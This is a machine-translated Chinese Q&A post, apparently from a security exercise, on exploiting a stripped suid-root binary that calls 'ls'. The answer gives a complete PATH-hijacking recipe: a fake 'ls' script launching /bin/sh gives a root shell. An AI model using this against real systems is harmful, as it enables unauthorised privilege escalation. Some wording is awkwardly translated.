如何利用 suid 根应用程序

逆向工程 小精灵 开发
2021-06-27 09:42:57

我必须利用一个应用程序,而且我只有 32 位 ELF 可执行文件,它也被剥离了。它是一个 suid root 应用程序,当它被执行时,实际上是运行ls -al一个特定目录命令,该目录通常对于普通用户是无法访问的。

关于如何处理这个问题的任何建议?

1个回答

如果程序为setuid,你可以使用一个事实,即它被调用命令ls -al /tmp通过system()main()功能。

  1. 创建一个文件ls,其中包含:

    #!/bin/sh
    /bin/sh
    
  2. 将其设置为可执行脚本:

    #> chmod +x ./ls
    
  3. 修改你PATH的指向当前目录:

    #> export PATH=.:${PATH}
    
  4. 运行弱软件(那里有假ls脚本):

    #> /path/to/test
    

请注意,软件的其余部分似乎已被混淆,至少通过将子例程重命名为sub_xxxx. 它还可能包含其他混淆。